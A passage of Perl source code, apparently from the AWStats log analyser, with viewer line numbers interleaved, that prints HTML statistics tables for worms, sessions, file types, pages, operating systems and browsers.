                        if ( $ShowWormsStats =~ /L/i ) {
18059
 
                                print "<th width=\"120\">$Message[9]</th>";
18060
 
                        }
18061
 
                        print "</tr>\n";
18062
 
                        $total_p = $total_h = $total_k = 0;
18063
 
                        my $count = 0;
18064
 
                        &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
18065
 
                                \%_worm_h );
18066
 
                        foreach my $key (@keylist) {
18067
 
                                print "<tr>";
18068
 
                                print "<td class=\"aws\">"
18069
 
                                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
18070
 
                                  . ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key )
18071
 
                                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
18072
 
                                print "<td class=\"aws\">"
18073
 
                                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
18074
 
                                  . ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key )
18075
 
                                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
18076
 
                                if ( $ShowWormsStats =~ /H/i ) {
18077
 
                                        print "<td>" . $_worm_h{$key} . "</td>";
18078
 
                                }
18079
 
                                if ( $ShowWormsStats =~ /B/i ) {
18080
 
                                        print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>";
18081
 
                                }
18082
 
                                if ( $ShowWormsStats =~ /L/i ) {
18083
 
                                        print "<td>"
18084
 
                                          . (
18085
 
                                                $_worm_l{$key}
18086
 
                                                ? Format_Date( $_worm_l{$key}, 1 )
18087
 
                                                : '-'
18088
 
                                          )
18089
 
                                          . "</td>";
18090
 
                                }
18091
 
                                print "</tr>\n";
18092
 
 
18093
 
                                #$total_p += $_worm_p{$key};
18094
 
                                $total_h += $_worm_h{$key};
18095
 
                                $total_k += $_worm_k{$key} || 0;
18096
 
                                $count++;
18097
 
                        }
18098
 
 
18099
 
                        # For worms we need to count Totals
18100
 
                        my $TotalPagesWorms =
18101
 
                          0;    #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
18102
 
                        my $TotalHitsWorms = 0;
18103
 
                        foreach ( values %_worm_h ) { $TotalHitsWorms += $_; }
18104
 
                        my $TotalBytesWorms = 0;
18105
 
                        foreach ( values %_worm_k ) { $TotalBytesWorms += $_; }
18106
 
                        $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
18107
 
                        $rest_h = $TotalHitsWorms - $total_h;
18108
 
                        $rest_k = $TotalBytesWorms - $total_k;
18109
 
 
18110
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms
18111
 
                                print "<tr>";
18112
 
                                print
18113
 
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18114
 
                                print "<td class=\"aws\">-</td>";
18115
 
                                if ( $ShowWormsStats =~ /H/i ) {
18116
 
                                        print "<td>" . ($rest_h) . "</td>";
18117
 
                                }
18118
 
                                if ( $ShowWormsStats =~ /B/i ) {
18119
 
                                        print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
18120
 
                                }
18121
 
                                if ( $ShowWormsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
18122
 
                                print "</tr>\n";
18123
 
                        }
18124
 
                        &tab_end("* $Message[158]");
18125
 
                }
18126
 
 
18127
 
                print "\n<a name=\"how\">&nbsp;</a>\n\n";
18128
 
 
18129
 
                # BY SESSION
18130
 
                #----------------------------
18131
 
                if ($ShowSessionsStats) {
18132
 
                        if ($Debug) { debug( "ShowSessionsStats", 2 ); }
18133
 
                        print "$Center<a name=\"sessions\">&nbsp;</a><br />\n";
18134
 
                        my $title = "$Message[117]";
18135
 
                        &tab_head( $title, 19, 0, 'sessions' );
18136
 
                        my $Totals = 0;
18137
 
                        foreach (@SessionsRange) {
18138
 
                                $average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_};
18139
 
                                $Totals += $_session{$_} || 0;
18140
 
                        }
18141
 
                        if ($Totals) { $average_s = int( $average_s / $Totals ); }
18142
 
                        else { $average_s = '?'; }
18143
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
18144
 
                          . Tooltip(1)
18145
 
                          . "><th>$Message[10]: $TotalVisits - $Message[96]: $average_s s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
18146
 
                        $average_s = 0;
18147
 
                        $total_s   = 0;
18148
 
                        my $count = 0;
18149
 
                        foreach my $key (@SessionsRange) {
18150
 
                                my $p = 0;
18151
 
                                if ($TotalVisits) {
18152
 
                                        $p = int( $_session{$key} / $TotalVisits * 1000 ) / 10;
18153
 
                                }
18154
 
                                $total_s += $_session{$key} || 0;
18155
 
                                print "<tr><td class=\"aws\">$key</td>";
18156
 
                                print "<td>"
18157
 
                                  . ( $_session{$key} ? $_session{$key} : "&nbsp;" ) . "</td>";
18158
 
                                print "<td>"
18159
 
                                  . ( $_session{$key} ? "$p %" : "&nbsp;" ) . "</td>";
18160
 
                                print "</tr>\n";
18161
 
                                $count++;
18162
 
                        }
18163
 
                        $rest_s = $TotalVisits - $total_s;
18164
 
                        if ( $rest_s > 0 ) {    # All others sessions
18165
 
                                my $p = 0;
18166
 
                                if ($TotalVisits) {
18167
 
                                        $p = int( $rest_s / $TotalVisits * 1000 ) / 10;
18168
 
                                }
18169
 
                                print "<tr"
18170
 
                                  . Tooltip(20)
18171
 
                                  . "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
18172
 
                                print "<td>$rest_s</td>";
18173
 
                                print "<td>" . ( $rest_s ? "$p %" : "&nbsp;" ) . "</td>";
18174
 
                                print "</tr>\n";
18175
 
                        }
18176
 
                        &tab_end();
18177
 
                }
18178
 
 
18179
 
                # BY FILE TYPE
18180
 
                #-------------------------
18181
 
                if ($ShowFileTypesStats) {
18182
 
                        if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); }
18183
 
                        print "$Center<a name=\"filetypes\">&nbsp;</a><br />\n";
18184
 
                        my $Totalh = 0;
18185
 
                        foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; }
18186
 
                        my $Totalk = 0;
18187
 
                        foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; }
18188
 
                        my $title = "$Message[73]";
18189
 
                        if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; }
18190
 
                        &tab_head( "$title", 19, 0, 'filetypes' );
18191
 
                        print
18192
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
18193
 
 
18194
 
                        if ( $ShowFileTypesStats =~ /H/i ) {
18195
 
                                print "<th bgcolor=\"#$color_h\" width=\"80\""
18196
 
                                  . Tooltip(4)
18197
 
                                  . ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
18198
 
                        }
18199
 
                        if ( $ShowFileTypesStats =~ /B/i ) {
18200
 
                                print "<th bgcolor=\"#$color_k\" width=\"80\""
18201
 
                                  . Tooltip(5)
18202
 
                                  . ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
18203
 
                        }
18204
 
                        if ( $ShowFileTypesStats =~ /C/i ) {
18205
 
                                print
18206
 
"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>";
18207
 
                        }
18208
 
                        print "</tr>\n";
18209
 
                        my $total_con = 0;
18210
 
                        my $total_cre = 0;
18211
 
                        my $count     = 0;
18212
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
18213
 
                                \%_filetypes_h );
18214
 
                        foreach my $key (@keylist) {
18215
 
                                my $p_h = '&nbsp;';
18216
 
                                my $p_k = '&nbsp;';
18217
 
                                if ($Totalh) {
18218
 
                                        $p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
18219
 
                                        $p_h = "$p_h %";
18220
 
                                }
18221
 
                                if ($Totalk) {
18222
 
                                        $p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10;
18223
 
                                        $p_k = "$p_k %";
18224
 
                                }
18225
 
                                if ( $key eq 'Unknown' ) {
18226
 
                                        print "<tr><td"
18227
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18228
 
                                          . "><img src=\"$DirIcons\/mime\/unknown.png\""
18229
 
                                          . AltTitle("")
18230
 
                                          . " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
18231
 
                                }
18232
 
                                else {
18233
 
                                        my $nameicon = $MimeHashIcon{$key} || "notavailable";
18234
 
                                        my $nametype =
18235
 
                                          $MimeHashLib{ $MimeHashFamily{$key} || "" } || "&nbsp;";
18236
 
                                        print "<tr><td"
18237
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18238
 
                                          . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
18239
 
                                          . AltTitle("")
18240
 
                                          . " /></td><td class=\"aws\">$key</td>";
18241
 
                                        print "<td class=\"aws\">$nametype</td>";
18242
 
                                }
18243
 
                                if ( $ShowFileTypesStats =~ /H/i ) {
18244
 
                                        print "<td>$_filetypes_h{$key}</td><td>$p_h</td>";
18245
 
                                }
18246
 
                                if ( $ShowFileTypesStats =~ /B/i ) {
18247
 
                                        print '<td nowrap="nowrap">'
18248
 
                                          . Format_Bytes( $_filetypes_k{$key} )
18249
 
                                          . "</td><td>$p_k</td>";
18250
 
                                }
18251
 
                                if ( $ShowFileTypesStats =~ /C/i ) {
18252
 
                                        if ( $_filetypes_gz_in{$key} ) {
18253
 
                                                my $percent = int(
18254
 
                                                        100 * (
18255
 
                                                                1 - $_filetypes_gz_out{$key} /
18256
 
                                                                  $_filetypes_gz_in{$key}
18257
 
                                                        )
18258
 
                                                );
18259
 
                                                printf(
18260
 
                                                        "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
18261
 
                                                        Format_Bytes( $_filetypes_gz_in{$key} ),
18262
 
                                                        Format_Bytes( $_filetypes_gz_out{$key} ),
18263
 
                                                        Format_Bytes(
18264
 
                                                                $_filetypes_gz_in{$key} -
18265
 
                                                                  $_filetypes_gz_out{$key}
18266
 
                                                        ),
18267
 
                                                        $percent
18268
 
                                                );
18269
 
                                                $total_con += $_filetypes_gz_in{$key};
18270
 
                                                $total_cre += $_filetypes_gz_out{$key};
18271
 
                                        }
18272
 
                                        else {
18273
 
                                                print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
18274
 
                                        }
18275
 
                                }
18276
 
                                print "</tr>\n";
18277
 
                                $count++;
18278
 
                        }
18279
 
 
18280
 
                        # Add total (only usefull if compression is enabled)
18281
 
                        if ( $ShowFileTypesStats =~ /C/i ) {
18282
 
                                my $colspan = 3;
18283
 
                                if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; }
18284
 
                                if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; }
18285
 
                                print "<tr>";
18286
 
                                print
18287
 
"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
18288
 
                                if ( $ShowFileTypesStats =~ /C/i ) {
18289
 
                                        if ($total_con) {
18290
 
                                                my $percent =
18291
 
                                                  int( 100 * ( 1 - $total_cre / $total_con ) );
18292
 
                                                printf(
18293
 
                                                        "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
18294
 
                                                        Format_Bytes($total_con),
18295
 
                                                        Format_Bytes($total_cre),
18296
 
                                                        Format_Bytes( $total_con - $total_cre ),
18297
 
                                                        $percent
18298
 
                                                );
18299
 
                                        }
18300
 
                                        else {
18301
 
                                                print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
18302
 
                                        }
18303
 
                                }
18304
 
                                print "</tr>\n";
18305
 
                        }
18306
 
                        &tab_end();
18307
 
                }
18308
 
 
18309
 
                # BY FILE SIZE
18310
 
                #-------------------------
18311
 
                if ($ShowFileSizesStats) {
18312
 
 
18313
 
                }
18314
 
 
18315
 
                # BY FILE/URL
18316
 
                #-------------------------
18317
 
                if ($ShowPagesStats) {
18318
 
                        if ($Debug) {
18319
 
                                debug(
18320
 
"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",
18321
 
                                        2
18322
 
                                );
18323
 
                        }
18324
 
                        print
18325
 
"$Center<a name=\"urls\">&nbsp;</a><a name=\"entry\">&nbsp;</a><a name=\"exit\">&nbsp;</a><br />\n";
18326
 
                        my $title =
18327
 
"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) &nbsp; - &nbsp; <a href=\""
18328
 
                          . (
18329
 
                                $ENV{'GATEWAY_INTERFACE'}
18330
 
                                  || !$StaticLinks
18331
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=urldetail")
18332
 
                                : "$PROG$StaticLinks.urldetail.$StaticExt"
18333
 
                          )
18334
 
                          . "\"$NewLinkTarget>$Message[80]</a>";
18335
 
                        if ( $ShowPagesStats =~ /E/i ) {
18336
 
                                $title .= " &nbsp; - &nbsp; <a href=\""
18337
 
                                  . (
18338
 
                                        $ENV{'GATEWAY_INTERFACE'}
18339
 
                                          || !$StaticLinks
18340
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=urlentry")
18341
 
                                        : "$PROG$StaticLinks.urlentry.$StaticExt"
18342
 
                                  )
18343
 
                                  . "\"$NewLinkTarget>$Message[104]</a>";
18344
 
                        }
18345
 
                        if ( $ShowPagesStats =~ /X/i ) {
18346
 
                                $title .= " &nbsp; - &nbsp; <a href=\""
18347
 
                                  . (
18348
 
                                        $ENV{'GATEWAY_INTERFACE'}
18349
 
                                          || !$StaticLinks
18350
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
18351
 
                                        : "$PROG$StaticLinks.urlexit.$StaticExt"
18352
 
                                  )
18353
 
                                  . "\"$NewLinkTarget>$Message[116]</a>";
18354
 
                        }
18355
 
                        &tab_head( "$title", 19, 0, 'urls' );
18356
 
                        print
18357
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$TotalDifferentPages $Message[28]</th>";
18358
 
                        if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18359
 
                                print
18360
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
18361
 
                        }
18362
 
                        if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18363
 
                                print
18364
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
18365
 
                        }
18366
 
                        if ( $ShowPagesStats =~ /B/i ) {
18367
 
                                print
18368
 
                                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
18369
 
                        }
18370
 
                        if ( $ShowPagesStats =~ /E/i ) {
18371
 
                                print
18372
 
                                  "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
18373
 
                        }
18374
 
                        if ( $ShowPagesStats =~ /X/i ) {
18375
 
                                print
18376
 
                                  "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
18377
 
                        }
18378
 
 
18379
 
                        # Call to plugins' function ShowPagesAddField
18380
 
                        foreach
18381
 
                          my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
18382
 
                        {
18383
 
 
18384
 
                                #                               my $function="ShowPagesAddField_$pluginname('title')";
18385
 
                                #                               eval("$function");
18386
 
                                my $function = "ShowPagesAddField_$pluginname";
18387
 
                                &$function('title');
18388
 
                        }
18389
 
                        print "<th>&nbsp;</th></tr>\n";
18390
 
                        $total_p = $total_e = $total_x = $total_k = 0;
18391
 
                        $max_p   = 1;
18392
 
                        $max_k   = 1;
18393
 
                        my $count = 0;
18394
 
                        &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
18395
 
                                \%_url_p );
18396
 
                        foreach my $key (@keylist) {
18397
 
                                if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
18398
 
                                if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
18399
 
                                        $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
18400
 
                                }
18401
 
                        }
18402
 
                        foreach my $key (@keylist) {
18403
 
                                print "<tr><td class=\"aws\">";
18404
 
                                &ShowURLInfo($key);
18405
 
                                print "</td>";
18406
 
                                my $bredde_p = 0;
18407
 
                                my $bredde_e = 0;
18408
 
                                my $bredde_x = 0;
18409
 
                                my $bredde_k = 0;
18410
 
                                if ( $max_p > 0 ) {
18411
 
                                        $bredde_p =
18412
 
                                          int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
18413
 
                                }
18414
 
                                if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
18415
 
                                if ( $max_p > 0 ) {
18416
 
                                        $bredde_e =
18417
 
                                          int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
18418
 
                                }
18419
 
                                if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
18420
 
                                if ( $max_p > 0 ) {
18421
 
                                        $bredde_x =
18422
 
                                          int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
18423
 
                                }
18424
 
                                if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
18425
 
                                if ( $max_k > 0 ) {
18426
 
                                        $bredde_k =
18427
 
                                          int( $BarWidth *
18428
 
                                                  ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
18429
 
                                                  $max_k ) + 1;
18430
 
                                }
18431
 
                                if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
18432
 
                                if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18433
 
                                        print "<td>$_url_p{$key}</td>";
18434
 
                                }
18435
 
                                if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18436
 
                                        print "<td>$_url_p{$key}</td>";
18437
 
                                }
18438
 
                                if ( $ShowPagesStats =~ /B/i ) {
18439
 
                                        print "<td>"
18440
 
                                          . (
18441
 
                                                $_url_k{$key}
18442
 
                                                ? Format_Bytes(
18443
 
                                                        $_url_k{$key} / ( $_url_p{$key} || 1 )
18444
 
                                                  )
18445
 
                                                : "&nbsp;"
18446
 
                                          )
18447
 
                                          . "</td>";
18448
 
                                }
18449
 
                                if ( $ShowPagesStats =~ /E/i ) {
18450
 
                                        print "<td>"
18451
 
                                          . ( $_url_e{$key} ? $_url_e{$key} : "&nbsp;" ) . "</td>";
18452
 
                                }
18453
 
                                if ( $ShowPagesStats =~ /X/i ) {
18454
 
                                        print "<td>"
18455
 
                                          . ( $_url_x{$key} ? $_url_x{$key} : "&nbsp;" ) . "</td>";
18456
 
                                }
18457
 
 
18458
 
                                # Call to plugins' function ShowPagesAddField
18459
 
                                foreach my $pluginname (
18460
 
                                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
18461
 
                                {
18462
 
 
18463
 
                                        #                                       my $function="ShowPagesAddField_$pluginname('$key')";
18464
 
                                        #                                       eval("$function");
18465
 
                                        my $function = "ShowPagesAddField_$pluginname";
18466
 
                                        &$function($key);
18467
 
                                }
18468
 
                                print "<td class=\"aws\">";
18469
 
                                if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18470
 
                                        print
18471
 
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\""
18472
 
                                          . AltTitle("")
18473
 
                                          . " /><br />";
18474
 
                                }
18475
 
                                if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18476
 
                                        print
18477
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\""
18478
 
                                          . AltTitle("")
18479
 
                                          . " /><br />";
18480
 
                                }
18481
 
                                if ( $ShowPagesStats =~ /B/i ) {
18482
 
                                        print
18483
 
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\""
18484
 
                                          . AltTitle("")
18485
 
                                          . " /><br />";
18486
 
                                }
18487
 
                                if ( $ShowPagesStats =~ /E/i ) {
18488
 
                                        print
18489
 
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\""
18490
 
                                          . AltTitle("")
18491
 
                                          . " /><br />";
18492
 
                                }
18493
 
                                if ( $ShowPagesStats =~ /X/i ) {
18494
 
                                        print
18495
 
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\""
18496
 
                                          . AltTitle("") . " />";
18497
 
                                }
18498
 
                                print "</td></tr>\n";
18499
 
                                $total_p += $_url_p{$key} || 0;
18500
 
                                $total_e += $_url_e{$key} || 0;
18501
 
                                $total_x += $_url_x{$key} || 0;
18502
 
                                $total_k += $_url_k{$key} || 0;
18503
 
                                $count++;
18504
 
                        }
18505
 
                        $rest_p = $TotalPages - $total_p;
18506
 
                        $rest_e = $TotalEntries - $total_e;
18507
 
                        $rest_x = $TotalExits - $total_x;
18508
 
                        $rest_k = $TotalBytesPages - $total_k;
18509
 
                        if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 )
18510
 
                        {    # All other urls
18511
 
                                print
18512
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18513
 
                                if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18514
 
                                        print "<td>$rest_p</td>";
18515
 
                                }
18516
 
                                if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18517
 
                                        print "<td>$rest_p</td>";
18518
 
                                }
18519
 
                                if ( $ShowPagesStats =~ /B/i ) {
18520
 
                                        print "<td>"
18521
 
                                          . (
18522
 
                                                $rest_k
18523
 
                                                ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
18524
 
                                                : "&nbsp;"
18525
 
                                          )
18526
 
                                          . "</td>";
18527
 
                                }
18528
 
                                if ( $ShowPagesStats =~ /E/i ) {
18529
 
                                        print "<td>" . ( $rest_e ? $rest_e : "&nbsp;" ) . "</td>";
18530
 
                                }
18531
 
                                if ( $ShowPagesStats =~ /X/i ) {
18532
 
                                        print "<td>" . ( $rest_x ? $rest_x : "&nbsp;" ) . "</td>";
18533
 
                                }
18534
 
 
18535
 
                                # Call to plugins' function ShowPagesAddField
18536
 
                                foreach my $pluginname (
18537
 
                                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
18538
 
                                {
18539
 
 
18540
 
                                        #                                       my $function="ShowPagesAddField_$pluginname('')";
18541
 
                                        #                                       eval("$function");
18542
 
                                        my $function = "ShowPagesAddField_$pluginname";
18543
 
                                        &$function('');
18544
 
                                }
18545
 
                                print "<td>&nbsp;</td></tr>\n";
18546
 
                        }
18547
 
                        &tab_end();
18548
 
                }
18549
 
 
18550
 
                # BY OS
18551
 
                #----------------------------
18552
 
                if ($ShowOSStats) {
18553
 
                        if ($Debug) { debug( "ShowOSStats", 2 ); }
18554
 
                        print "$Center<a name=\"os\">&nbsp;</a><br />\n";
18555
 
                        my $Totalh   = 0;
18556
 
                        my %new_os_h = ();
18557
 
                  OSLOOP: foreach my $key ( keys %_os_h ) {
18558
 
                                $Totalh += $_os_h{$key};
18559
 
                                foreach my $family ( keys %OSFamily ) {
18560
 
                                        if ( $key =~ /^$family/i ) {
18561
 
                                                $new_os_h{"${family}cumul"} += $_os_h{$key};
18562
 
                                                next OSLOOP;
18563
 
                                        }
18564
 
                                }
18565
 
                                $new_os_h{$key} += $_os_h{$key};
18566
 
                        }
18567
 
                        my $title =
18568
 
"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) &nbsp; - &nbsp; <a href=\""
18569
 
                          . (
18570
 
                                $ENV{'GATEWAY_INTERFACE'}
18571
 
                                  || !$StaticLinks
18572
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=osdetail")
18573
 
                                : "$PROG$StaticLinks.osdetail.$StaticExt"
18574
 
                          )
18575
 
                          . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\""
18576
 
                          . (
18577
 
                                $ENV{'GATEWAY_INTERFACE'}
18578
 
                                  || !$StaticLinks
18579
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=unknownos")
18580
 
                                : "$PROG$StaticLinks.unknownos.$StaticExt"
18581
 
                          )
18582
 
                          . "\"$NewLinkTarget>$Message[0]</a>";
18583
 
                        &tab_head( "$title", 19, 0, 'os' );
18584
 
                        print
18585
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[59]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
18586
 
                        $total_h = 0;
18587
 
                        my $count = 0;
18588
 
                        &BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
18589
 
                                \%new_os_h );
18590
 
                        foreach my $key (@keylist) {
18591
 
                                my $p = '&nbsp;';
18592
 
                                if ($Totalh) {
18593
 
                                        $p = int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
18594
 
                                        $p = "$p %";
18595
 
                                }
18596
 
                                if ( $key eq 'Unknown' ) {
18597
 
                                        print "<tr><td"
18598
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18599
 
                                          . "><img src=\"$DirIcons\/os\/unknown.png\""
18600
 
                                          . AltTitle("")
18601
 
                                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td>$_os_h{$key}</td><td>$p</td></tr>\n";
18602
 
                                }
18603
 
                                else {
18604
 
                                        my $keywithoutcumul = $key;
18605
 
                                        $keywithoutcumul =~ s/cumul$//i;
18606
 
                                        my $libos = $OSHashLib{$keywithoutcumul}
18607
 
                                          || $keywithoutcumul;
18608
 
                                        my $nameicon = $keywithoutcumul;
18609
 
                                        $nameicon =~ s/[^\w]//g;
18610
 
                                        if ( $OSFamily{$keywithoutcumul} ) {
18611
 
                                                $libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>";
18612
 
                                        }
18613
 
                                        print "<tr><td"
18614
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18615
 
                                          . "><img src=\"$DirIcons\/os\/$nameicon.png\""
18616
 
                                          . AltTitle("")
18617
 
                                          . " /></td><td class=\"aws\">$libos</td><td>$new_os_h{$key}</td><td>$p</td></tr>\n";
18618
 
                                }
18619
 
                                $total_h += $new_os_h{$key};
18620
 
                                $count++;
18621
 
                        }
18622
 
                        if ($Debug) {
18623
 
                                debug( "Total real / shown : $Totalh / $total_h", 2 );
18624
 
                        }
18625
 
                        $rest_h = $Totalh - $total_h;
18626
 
                        if ( $rest_h > 0 ) {
18627
 
                                my $p;
18628
 
                                if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
18629
 
                                print "<tr>";
18630
 
                                print "<td>&nbsp;</td>";
18631
 
                                print
18632
 
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>$rest_h</td>";
18633
 
                                print "<td>$p %</td></tr>\n";
18634
 
                        }
18635
 
                        &tab_end();
18636
 
                }
18637
 
 
18638
 
                # BY BROWSER
18639
 
                #----------------------------
18640
 
                if ($ShowBrowsersStats) {
18641
 
                        if ($Debug) { debug( "ShowBrowsersStats", 2 ); }
18642
 
                        print "$Center<a name=\"browsers\">&nbsp;</a><br />\n";
18643
 
                        my $Totalh        = 0;
18644
 
                        my %new_browser_h = ();
18645
 
                  BROWSERLOOP: foreach my $key ( keys %_browser_h ) {
18646
 
                                $Totalh += $_browser_h{$key};
18647
 
                                foreach my $family ( keys %BrowsersFamily ) {
18648
 
                                        if ( $key =~ /^$family/i ) {
18649
 
                                                $new_browser_h{"${family}cumul"} += $_browser_h{$key};
18650
 
                                                next BROWSERLOOP;
18651
 
                                        }
18652
 
                                }
18653
 
                                $new_browser_h{$key} += $_browser_h{$key};
18654
 
                        }
18655
 
                        my $title =
18656
 
"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) &nbsp; - &nbsp; <a href=\""
18657
 
                          . (
18658
 
                                $ENV{'GATEWAY_INTERFACE'}
18659
 
                                  || !$StaticLinks
18660
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=browserdetail")
18661
 
                                : "$PROG$StaticLinks.browserdetail.$StaticExt"
18662
 
                          )
18663
 
                          . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\""
18664
 
                          . (
18665
 
                                $ENV{'GATEWAY_INTERFACE'}
18666
 
                                  || !$StaticLinks
18667
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=unknownbrowser")
18668
 
                                : "$PROG$StaticLinks.unknownbrowser.$StaticExt"
18669
 
                          )
18670
 
                          . "\"$NewLinkTarget>$Message[0]</a>";
18671
 
                        &tab_head( "$title", 19, 0, 'browsers' );
18672
 
                        print
18673
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
18674
 
                        $total_h = 0;
18675
 
                        my $count = 0;
18676
 
                        &BuildKeyList(
18677
 
